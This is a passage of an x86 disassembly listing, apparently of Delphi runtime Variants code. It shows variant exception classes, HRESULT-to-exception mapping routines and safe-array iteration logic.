--------------------------------------------------------------------------- loc_4000D5BD: ; DATA XREF: sub_4000D598+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000D5BC ; --------------------------------------------------------------------------- loc_4000D5C4: ; CODE XREF: sub_4000D598:loc_4000D5BCj ; DATA XREF: sub_4000D598+1Fo pop ebp retn sub_4000D598 endp ; --------------------------------------------------------------------------- db 8Bh, 0C0h db 0CCh ; --------------------------------------------------------------------------- loc_4000D5C9: ; DATA XREF: .text:off_4000D5EAo add dword ptr [esp+4], 0FFFFFFF8h mov eax, [esp+4] mov eax, [eax] jmp dword ptr [eax] ; --------------------------------------------------------------------------- loc_4000D5D6: ; DATA XREF: .text:4000D5EEo add dword ptr [esp+4], 0FFFFFFF8h jmp loc_40012D58 ; --------------------------------------------------------------------------- loc_4000D5E0: ; DATA XREF: .text:4000D5F2o add dword ptr [esp+4], 0FFFFFFF8h jmp loc_40012D64 ; --------------------------------------------------------------------------- off_4000D5EA dd offset loc_4000D5C9 ; DATA XREF: .text:4000D60Ao dd offset loc_4000D5D6 dd offset loc_4000D5E0 word_4000D5F6 dw 1 ; DATA XREF: .text:4000D61Co dd 2 dup(0) dd 0C00000h, 0 db 0, 46h dd offset off_4000D5EA dw 8 dd 0 align 8 dd offset off_4000D664 dd offset word_4000D5F6 dd 6 dup(0) dd offset dword_4000D6A0 dd 0Ch dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40012C6C off_4000D664 dd offset sub_40012D70 ; DATA XREF: .text:4000D618o ; .text:4000D6CCo dd offset sub_40012CFC dd offset sub_40012D30 dd offset sub_40012D10 dd offset sub_40012D4C dd offset sub_40012CF8 dd offset sub_40012B6C dd offset sub_40012BA4 dd offset sub_40012C30 dd offset sub_400030B4 dd offset sub_400030B4 dd offset sub_40012B60 dd offset sub_40012D44 dd offset sub_40012BF8 dd offset sub_40012BEC dword_4000D6A0 dd 75435412h, 6D6F7473h, 69726156h, 54746E61h, 90657079h ; DATA XREF: .text:4000D638o off_4000D6B4 dd offset dword_4000D6B8 ; DATA XREF: .text:40012AE5o dword_4000D6B8 dd 43541207h, 6F747375h, 7261566Dh, 746E6169h, 65707954h ; DATA XREF: .text:off_4000D6B4o dd offset off_4000D664 dd offset off_40001070 dd 56080000h, 61697261h, 73746Eh, 408D00h off_4000D6E4 dd offset dword_4000D730 ; DATA XREF: sub_4000DC90+25r dd 7 dup(0) dd offset dword_4000D730 dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000D730 dd 61564516h, 6E616972h, 766E4974h, 64696C61h, 7245704Fh ; DATA XREF: .text:off_4000D6E4o ; .text:4000D704o dd 90726F72h off_4000D748 dd offset dword_4000D794 ; DATA XREF: sub_4000DBA0+25r ; sub_4000DBF4+65r dd 7 dup(0) dd offset dword_4000D794 dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000D794 dd 61564515h, 6E616972h, 70795474h, 73614365h, 72724574h ; DATA XREF: .text:off_4000D748o ; .text:4000D768o dd 0C08B726Fh off_4000D7AC dd offset dword_4000D7F8 ; DATA XREF: sub_4000DCE4+65r ; sub_4000DDD4+DBr dd 7 dup(0) dd offset dword_4000D7F8 dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000D7F8 dd 61564515h, 6E616972h, 65764F74h, 6F6C6672h, 72724577h ; DATA XREF: .text:off_4000D7ACo ; .text:4000D7CCo dd 0C08B726Fh off_4000D810 dd offset dword_4000D85C ; DATA XREF: sub_4000DDD4+199r dd 7 dup(0) dd offset dword_4000D85C dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000D85C dd 61564517h, 6E616972h, 766E4974h, 64696C61h, 45677241h ; DATA XREF: .text:off_4000D810o ; .text:4000D830o dd 726F7272h off_4000D874 dd offset dword_4000D8C0 ; DATA XREF: sub_4000DDD4+ABr dd 7 dup(0) dd offset dword_4000D8C0 dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000D8C0 dd 61564517h, 6E616972h, 64614274h, 54726156h, 45657079h ; DATA XREF: .text:off_4000D874o ; .text:4000D894o dd 726F7272h off_4000D8D8 dd offset dword_4000D924 ; DATA XREF: sub_4000DDD4+101r dd 7 dup(0) dd offset dword_4000D924 dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000D924 dd 61564515h, 6E616972h, 64614274h, 65646E49h, 72724578h ; DATA XREF: .text:off_4000D8D8o ; .text:4000D8F8o dd 0C08B726Fh off_4000D93C dd offset dword_4000D988 ; DATA XREF: sub_4000DDD4+127r dd 7 dup(0) dd offset dword_4000D988 dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000D988 dd 61564518h, 6E616972h, 72724174h, 6F4C7961h, 64656B63h ; DATA XREF: .text:off_4000D93Co ; .text:4000D95Co dd 6F727245h, 408D72h off_4000D9A4 dd offset dword_4000D9F0 ; DATA XREF: sub_4000DD80+25r dd 7 dup(0) dd offset dword_4000D9F0 dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000D9F0 dd 61564518h, 6E616972h, 72724174h, 72437961h, 65746165h ; DATA XREF: .text:off_4000D9A4o ; .text:4000D9C4o dd 6F727245h, 408D72h off_4000DA0C dd offset dword_4000DA58 ; DATA XREF: sub_4000DDD4+14Dr dd 7 dup(0) dd offset dword_4000DA58 dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000DA58 dd 61564514h, 6E616972h, 746F4E74h, 6C706D49h, 6F727245h ; DATA XREF: .text:off_4000DA0Co ; .text:4000DA2Co dd 408D72h off_4000DA70 dd offset dword_4000DABC ; DATA XREF: sub_4000DDD4+173r dd 7 dup(0) dd offset dword_4000DABC dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000DABC dd 61564518h, 6E616972h, 74754F74h, 654D664Fh, 79726F6Dh ; DATA XREF: .text:off_4000DA70o ; .text:4000DA90o dd 6F727245h, 408D72h off_4000DAD8 dd offset dword_4000DB24 ; DATA XREF: sub_4000DDD4+1BCr dd 7 dup(0) dd offset dword_4000DB24 dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000DB24 dd 61564517h, 6E616972h, 656E5574h, 63657078h, 45646574h ; DATA XREF: .text:off_4000DAD8o ; .text:4000DAF8o dd 726F7272h off_4000DB3C dd offset dword_4000DB88 ; DATA XREF: sub_4000E0EC+25r dd 7 dup(0) dd offset dword_4000DB88 dd 0Ch dd offset off_400075AC dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4000DB88 dd 61564515h, 6E616972h, 73694474h, 63746170h, 72724568h ; DATA XREF: .text:off_4000DB3Co ; .text:4000DB5Co dd 0C08B726Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000DBA0 proc near ; CODE XREF: sub_4000DDD4:loc_4000DE63p ; sub_4000E744+33p ... var_4 = dword ptr -4 push ebp mov ebp, esp push 0 xor eax, eax push ebp push offset loc_4000DBEA push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, off_4001AFD4 call sub_400062F0 mov ecx, [ebp+var_4] mov dl, 1 mov eax, ds:off_4000D748 call sub_4000B030 call sub_400042E4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000DBF1 loc_4000DBE1: ; CODE XREF: sub_4000DBA0+4Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000DBEA: ; DATA XREF: sub_4000DBA0+8o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000DBE1 ; --------------------------------------------------------------------------- loc_4000DBF1: ; CODE XREF: sub_4000DBA0+49j ; DATA XREF: sub_4000DBA0+3Co pop ecx pop ebp retn sub_4000DBA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000DBF4 proc near ; CODE XREF: sub_4000E034+1Ap ; sub_4000E8E0+74p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE4h push ebx push esi xor ecx, ecx mov [ebp+var_14], ecx mov [ebp+var_18], ecx mov [ebp+var_1C], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_4000DC83 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_14] mov eax, ebx call sub_4001293C mov eax, [ebp+var_14] mov [ebp+var_10], eax mov [ebp+var_C], 0Bh lea edx, [ebp+var_18] mov eax, esi call sub_4001293C mov eax, [ebp+var_18] mov [ebp+var_8], eax mov [ebp+var_4], 0Bh lea eax, [ebp+var_10] push eax push 1 lea edx, [ebp+var_1C] mov eax, off_4001AEC0 call sub_400062F0 mov ecx, [ebp+var_1C] mov dl, 1 mov eax, ds:off_4000D748 call sub_4000B06C call sub_400042E4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000DC8A loc_4000DC75: ; CODE XREF: sub_4000DBF4+94j lea eax, [ebp+var_1C] mov edx, 3 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_4000DC83: ; DATA XREF: sub_4000DBF4+1Ao jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000DC75 ; --------------------------------------------------------------------------- loc_4000DC8A: ; CODE XREF: sub_4000DBF4+8Ej ; DATA XREF: sub_4000DBF4+7Co pop esi pop ebx mov esp, ebp pop ebp retn sub_4000DBF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000DC90 proc near ; CODE XREF: sub_4000DDD4:loc_4000DE93p ; sub_4000E35C+3Ap ... var_4 = dword ptr -4 push ebp mov ebp, esp push 0 xor eax, eax push ebp push offset loc_4000DCDA push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, off_4001AFB4 call sub_400062F0 mov ecx, [ebp+var_4] mov dl, 1 mov eax, ds:off_4000D6E4 call sub_4000B030 call sub_400042E4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000DCE1 loc_4000DCD1: ; CODE XREF: sub_4000DC90+4Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000DCDA: ; DATA XREF: sub_4000DC90+8o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000DCD1 ; --------------------------------------------------------------------------- loc_4000DCE1: ; CODE XREF: sub_4000DC90+49j ; DATA XREF: sub_4000DC90+3Co pop ecx pop ebp retn sub_4000DC90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000DCE4 proc near ; CODE XREF: sub_4000E034+25p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE4h push ebx push esi xor ecx, ecx mov [ebp+var_14], ecx mov [ebp+var_18], ecx mov [ebp+var_1C], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_4000DD73 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_14] mov eax, ebx call sub_4001293C mov eax, [ebp+var_14] mov [ebp+var_10], eax mov [ebp+var_C], 0Bh lea edx, [ebp+var_18] mov eax, esi call sub_4001293C mov eax, [ebp+var_18] mov [ebp+var_8], eax mov [ebp+var_4], 0Bh lea eax, [ebp+var_10] push eax push 1 lea edx, [ebp+var_1C] mov eax, off_4001B014 call sub_400062F0 mov ecx, [ebp+var_1C] mov dl, 1 mov eax, ds:off_4000D7AC call sub_4000B06C call sub_400042E4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000DD7A loc_4000DD65: ; CODE XREF: sub_4000DCE4+94j lea eax, [ebp+var_1C] mov edx, 3 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_4000DD73: ; DATA XREF: sub_4000DCE4+1Ao jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000DD65 ; --------------------------------------------------------------------------- loc_4000DD7A: ; CODE XREF: sub_4000DCE4+8Ej ; DATA XREF: sub_4000DCE4+7Co pop esi pop ebx mov esp, ebp pop ebp retn sub_4000DCE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000DD80 proc near ; CODE XREF: sub_4000E480+F9p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 xor eax, eax push ebp push offset loc_4000DDCA push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, off_4001AF94 call sub_400062F0 mov ecx, [ebp+var_4] mov dl, 1 mov eax, ds:off_4000D9A4 call sub_4000B030 call sub_400042E4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000DDD1 loc_4000DDC1: ; CODE XREF: sub_4000DD80+4Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000DDCA: ; DATA XREF: sub_4000DD80+8o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000DDC1 ; --------------------------------------------------------------------------- loc_4000DDD1: ; CODE XREF: sub_4000DD80+49j ; DATA XREF: sub_4000DD80+3Co pop ecx pop ebp retn sub_4000DD80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000DDD4 proc near ; CODE XREF: sub_4000E028+4p ; sub_4000E034:loc_4000E060p var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 8 loc_4000DDDC: ; CODE XREF: sub_4000DDD4+Dj push 0 push 0 dec ecx jnz short loc_4000DDDC push ebx mov ebx, eax xor eax, eax push ebp push offset loc_4000E019 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx cmp eax, 8002000Ah jg short loc_4000DE36 jz loc_4000DE9D cmp eax, 80020005h jg short loc_4000DE27 jz short loc_4000DE63 sub eax, 80004001h jz loc_4000DF0F sub eax, 0BFFEh jz loc_4000DF7E jmp loc_4000DFA1 ; --------------------------------------------------------------------------- loc_4000DE27: ; CODE XREF: sub_4000DDD4+34j sub eax, 80020008h jz short loc_4000DE6D dec eax jz short loc_4000DE93 jmp loc_4000DFA1 ; --------------------------------------------------------------------------- loc_4000DE36: ; CODE XREF: sub_4000DDD4+27j sub eax, 8002000Bh jz loc_4000DEC3 sub eax, 2 jz loc_4000DEE9 sub eax, 50001h jz loc_4000DF35 sub eax, 49h jz loc_4000DF5B jmp loc_4000DFA1 ; --------------------------------------------------------------------------- loc_4000DE63: ; CODE XREF: sub_4000DDD4+36j call sub_4000DBA0 jmp loc_4000DFF1 ; --------------------------------------------------------------------------- loc_4000DE6D: ; CODE XREF: sub_4000DDD4+58j lea edx, [ebp+var_4] mov eax, off_4001B090 call sub_400062F0 mov ecx, [ebp+var_4] mov dl, 1 mov eax, ds:off_4000D874 call sub_4000B030 call sub_400042E4 jmp loc_4000DFF1 ; --------------------------------------------------------------------------- loc_4000DE93: ; CODE XREF: sub_4000DDD4+5Bj call sub_4000DC90 jmp loc_4000DFF1 ; --------------------------------------------------------------------------- loc_4000DE9D: ; CODE XREF: sub_4000DDD4+29j lea edx, [ebp+var_8] mov eax, off_4001AF00 call sub_400062F0 mov ecx, [ebp+var_8] mov dl, 1 mov eax, ds:off_4000D7AC call sub_4000B030 call sub_400042E4 jmp loc_4000DFF1 ; --------------------------------------------------------------------------- loc_4000DEC3: ; CODE XREF: sub_4000DDD4+67j lea edx, [ebp+var_C] mov eax, off_4001B050 call sub_400062F0 mov ecx, [ebp+var_C] mov dl, 1 mov eax, ds:off_4000D8D8 call sub_4000B030 call sub_400042E4 jmp loc_4000DFF1 ; --------------------------------------------------------------------------- loc_4000DEE9: ; CODE XREF: sub_4000DDD4+70j lea edx, [ebp+var_10] mov eax, off_4001B0C0 call sub_400062F0 mov ecx, [ebp+var_10] mov dl, 1 mov eax, ds:off_4000D93C call sub_4000B030 call sub_400042E4 jmp loc_4000DFF1 ; --------------------------------------------------------------------------- loc_4000DF0F: ; CODE XREF: sub_4000DDD4+3Dj lea edx, [ebp+var_14] mov eax, off_4001AFF4 call sub_400062F0 mov ecx, [ebp+var_14] mov dl, 1 mov eax, ds:off_4000DA0C call sub_4000B030 call sub_400042E4 jmp loc_4000DFF1 ; --------------------------------------------------------------------------- loc_4000DF35: ; CODE XREF: sub_4000DDD4+7Bj lea edx, [ebp+var_18] mov eax, off_4001AF2C call sub_400062F0 mov ecx, [ebp+var_18] mov dl, 1 mov eax, ds:off_4000DA70 call sub_4000B030 call sub_400042E4 jmp loc_4000DFF1 ; --------------------------------------------------------------------------- loc_4000DF5B: ; CODE XREF: sub_4000DDD4+84j lea edx, [ebp+var_1C] mov eax, off_4001AF44 call sub_400062F0 mov ecx, [ebp+var_1C] mov dl, 1 mov eax, ds:off_4000D810 call sub_4000B030 call sub_400042E4 jmp short loc_4000DFF1 ; --------------------------------------------------------------------------- loc_4000DF7E: ; CODE XREF: sub_4000DDD4+48j lea edx, [ebp+var_20] mov eax, off_4001AEFC call sub_400062F0 mov ecx, [ebp+var_20] mov dl, 1 mov eax, ds:off_4000DAD8 call sub_4000B030 call sub_400042E4 jmp short loc_4000DFF1 ; --------------------------------------------------------------------------- loc_4000DFA1: ; CODE XREF: sub_4000DDD4+4Ej ; sub_4000DDD4+5Dj ... mov eax, off_4001B09C mov eax, [eax] mov [ebp+var_38], eax mov [ebp+var_34], 0Bh mov [ebp+var_30], ebx mov [ebp+var_2C], 0 lea edx, [ebp+var_3C] mov eax, ebx call sub_4000A81C mov eax, [ebp+var_3C] mov [ebp+var_28], eax mov [ebp+var_24], 0Bh lea eax, [ebp+var_38] push eax push 2 lea edx, [ebp+var_40] mov eax, off_4001AF98 call sub_400062F0 mov ecx, [ebp+var_40] mov dl, 1 mov eax, ds:off_400075AC call sub_4000B06C call sub_400042E4 loc_4000DFF1: ; CODE XREF: sub_4000DDD4+94j ; sub_4000DDD4+BAj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000E020 loc_4000DFFE: ; CODE XREF: sub_4000DDD4+24Aj lea eax, [ebp+var_40] mov edx, 2 call sub_400048A8 lea eax, [ebp+var_20] mov edx, 8 call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_4000E019: ; DATA XREF: sub_4000DDD4+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000DFFE ; --------------------------------------------------------------------------- loc_4000E020: ; CODE XREF: sub_4000DDD4+244j ; DATA XREF: sub_4000DDD4+225o pop ebx mov esp, ebp pop ebp retn sub_4000DDD4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000E028 proc near ; CODE XREF: sub_4000E1E0+23p ; sub_4000E1E0+B4p ... test eax, eax jz short locret_4000E031 call sub_4000DDD4 locret_4000E031: ; CODE XREF: sub_4000E028+2j retn sub_4000E028 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000E034 proc near ; CODE XREF: sub_4000E068+23p ; sub_4000E068+48p ... push ebx test eax, eax jz short loc_4000E065 mov ebx, eax sub ebx, 80020005h jz short loc_4000E04A sub ebx, 5 jz short loc_4000E055 jmp short loc_4000E060 ; --------------------------------------------------------------------------- loc_4000E04A: ; CODE XREF: sub_4000E034+Dj mov eax, edx mov edx, ecx call sub_4000DBF4 jmp short loc_4000E065 ; --------------------------------------------------------------------------- loc_4000E055: ; CODE XREF: sub_4000E034+12j mov eax, edx mov edx, ecx call sub_4000DCE4 jmp short loc_4000E065 ; --------------------------------------------------------------------------- loc_4000E060: ; CODE XREF: sub_4000E034+14j call sub_4000DDD4 loc_4000E065: ; CODE XREF: sub_4000E034+3j ; sub_4000E034+1Fj ... pop ebx retn sub_4000E034 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000E068 proc near ; CODE XREF: sub_4000ED90+430p ; sub_4000F1E0+9Dp ... push ebx push esi mov esi, edx mov ebx, eax call sub_40002CA4 mov edx, ds:off_400070C0 call sub_40003E74 test al, al jz short loc_4000E093 mov ecx, esi mov edx, ebx mov eax, 8002000Ah call sub_4000E034 pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4000E093: ; CODE XREF: sub_4000E068+18j call sub_40002CA4 mov edx, ds:off_4000727C call sub_40003E74 test al, al jz short loc_4000E0B7 mov ecx, esi mov edx, ebx mov eax, 8002000Ah call sub_4000E034 jmp short loc_4000E0E9 ; --------------------------------------------------------------------------- loc_4000E0B7: ; CODE XREF: sub_4000E068+3Dj call sub_40002CA4 mov edx, ds:off_400073E4 call sub_40003E74 test al, al jz short loc_4000E0DB mov ecx, esi mov edx, ebx mov eax, 80020005h call sub_4000E034 jmp short loc_4000E0E9 ; --------------------------------------------------------------------------- loc_4000E0DB: ; CODE XREF: sub_4000E068+61j call sub_40002CC4 mov edx, eax mov eax, edx call sub_400042E4 loc_4000E0E9: ; CODE XREF: sub_4000E068+4Dj ; sub_4000E068+71j pop esi pop ebx retn sub_4000E068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E0EC proc near ; CODE XREF: sub_40012D28p ; DATA XREF: sub_40019144+24o var_4 = dword ptr -4 push ebp mov ebp, esp push 0 xor eax, eax push ebp push offset loc_4000E136 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, off_4001AEBC call sub_400062F0 mov ecx, [ebp+var_4] mov dl, 1 mov eax, ds:off_4000DB3C call sub_4000B030 call sub_400042E4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000E13D loc_4000E12D: ; CODE XREF: sub_4000E0EC+4Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000E136: ; DATA XREF: sub_4000E0EC+8o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000E12D ; --------------------------------------------------------------------------- loc_4000E13D: ; CODE XREF: sub_4000E0EC+49j ; DATA XREF: sub_4000E0EC+3Co pop ecx pop ebp retn sub_4000E0EC endp ; =============== S U B R O U T I N E ======================================= sub_4000E140 proc near ; CODE XREF: sub_4000E9CC+C6p push ebx mov ebx, eax mov eax, ebx call sub_4000E3D8 mov word ptr [ebx], 1 pop ebx retn sub_4000E140 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E154 proc near ; CODE XREF: sub_4000E1E0+123p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov ecx, [ebp+arg_0] add ecx, 0FFFFFD00h loc_4000E161: ; CODE XREF: sub_4000E154+28j mov edx, [ecx+eax*8+4] add edx, [ecx+eax*8] mov ebx, [ebp+arg_0] cmp edx, [ebx+eax*4-100h] setnle dl dec eax test dl, dl jz short loc_4000E17E test eax, eax jge short loc_4000E161 loc_4000E17E: ; CODE XREF: sub_4000E154+24j mov eax, edx pop ebx pop ebp retn sub_4000E154 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E184 proc near ; CODE XREF: sub_4000E184+4Dp ; sub_4000E1E0+15Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi mov dl, 1 mov ecx, [ebp+arg_0] inc dword ptr [ecx+eax*4-100h] mov ecx, [ebp+arg_0] mov ecx, [ecx+eax*8-2FCh] mov ebx, ecx mov esi, [ebp+arg_0] add ebx, [esi+eax*8-300h] mov esi, [ebp+arg_0] cmp ebx, [esi+eax*4-100h] jg short loc_4000E1D9 test eax, eax jnz short loc_4000E1BF xor edx, edx jmp short loc_4000E1D9 ; --------------------------------------------------------------------------- loc_4000E1BF: ; CODE XREF: sub_4000E184+35j mov edx, [ebp+arg_0] mov edx, [ebp+arg_0] mov [edx+eax*4-100h], ecx mov edx, [ebp+arg_0] push edx dec eax call sub_4000E184 pop ecx mov edx, eax loc_4000E1D9: ; CODE XREF: sub_4000E184+31j ; sub_4000E184+39j mov eax, edx pop esi pop ebx pop ebp retn sub_4000E184 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000E1E0 proc near ; CODE XREF: sub_4000E35C+4Bp var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = dword ptr -308h var_304 = dword ptr -304h var_300 = byte ptr -300h var_2FC = byte ptr -2FCh var_100 = byte ptr -100h push ebp mov ebp, esp add esp, 0FFFFFCE8h push ebx push esi push edi mov [ebp+var_304], eax mov eax, [ebp+var_304] test byte ptr [eax+1], 20h jnz short loc_4000E208 mov eax, 80070057h call sub_4000E028 loc_4000E208: ; CODE XREF: sub_4000E1E0+1Cj mov eax, [ebp+var_304] movzx eax, word ptr [eax] mov edx, eax and dx, 0FFFh cmp dx, 0Ch jnz loc_4000E344 mov edx, [ebp+var_304] test ah, 40h jz short loc_4000E240 mov eax, [ebp+var_304] mov eax, [eax+8] mov eax, [eax] mov [ebp+var_308], eax jmp short loc_4000E24F ; --------------------------------------------------------------------------- loc_4000E240: ; CODE XREF: sub_4000E1E0+4Bj mov eax, [ebp+var_304] mov eax, [eax+8] mov [ebp+var_308], eax loc_4000E24F: ; CODE XREF: sub_4000E1E0+5Ej mov eax, [ebp+var_308] movzx eax, word ptr [eax] mov [ebp+var_310], eax mov ebx, [ebp+var_310] dec ebx test ebx, ebx jl short loc_4000E2D4 inc ebx xor edi, edi lea esi, [ebp+var_300] loc_4000E272: ; CODE XREF: sub_4000E1E0+F2j mov eax, esi mov [ebp+var_318], eax mov eax, [ebp+var_318] add eax, 4 push eax lea eax, [edi+1] push eax mov eax, [ebp+var_308] push eax call sub_4000D248 call sub_4000E028 lea eax, [ebp+var_30C] push eax lea eax, [edi+1] push eax mov eax, [ebp+var_308] push eax call sub_4000D250 call sub_4000E028 mov eax, [ebp+var_318] mov edx, [ebp+var_30C] sub edx, [eax+4] inc edx mov eax, [ebp+var_318] mov [eax], edx inc edi add esi, 8 dec ebx jnz short loc_4000E272 loc_4000E2D4: ; CODE XREF: sub_4000E1E0+87j mov ebx, [ebp+var_310] dec ebx test ebx, ebx jl short loc_4000E2F9 inc ebx lea eax, [ebp+var_2FC] lea edx, [ebp+var_100] loc_4000E2EC: ; CODE XREF: sub_4000E1E0+117j mov ecx, [eax] mov [edx], ecx add edx, 4 add eax, 8 dec ebx jnz short loc_4000E2EC loc_4000E2F9: ; CODE XREF: sub_4000E1E0+FDj ; sub_4000E1E0+162j push ebp mov ebx, [ebp+var_310] dec ebx mov eax, ebx call sub_4000E154 pop ecx test al, al jz short loc_4000E337 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_100] push eax mov eax, [ebp+var_308] push eax call sub_4000D258 call sub_4000E028 mov eax, [ebp+var_314] call sub_4000E3D8 loc_4000E337: ; CODE XREF: sub_4000E1E0+12Bj push ebp mov eax, ebx call sub_4000E184 pop ecx test al, al jnz short loc_4000E2F9 loc_4000E344: ; CODE XREF: sub_4000E1E0+3Cj mov eax, [ebp+var_304] push eax call sub_4000CDE0 call sub_4000E028 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4000E1E0 endp ; =============== S U 